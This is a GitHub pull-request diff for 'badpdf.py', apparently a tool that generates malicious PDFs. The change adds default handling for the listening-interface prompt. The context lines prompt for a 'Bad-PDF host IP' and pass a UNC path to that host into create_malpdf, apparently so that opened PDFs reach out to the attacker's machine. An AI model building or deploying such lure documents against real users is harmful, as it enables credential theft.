Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion badpdf.py
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,10 @@ def create_malpdf(filename, host):

host = raw_input("Please enter Bad-PDF host IP: \n")
filename = raw_input("Please enter output file name: \n")
interface = raw_input("Please enter the interface name to listen(Default eth0): \n")
ifc = raw_input("Please enter the interface name to listen(Default eth0): \n")
if ifc != '':
interface = ifc

create_malpdf(filename, '\\\\' + '\\\\' + host + '\\\\')

print("Bad PDF %s created" %filename)
Expand Down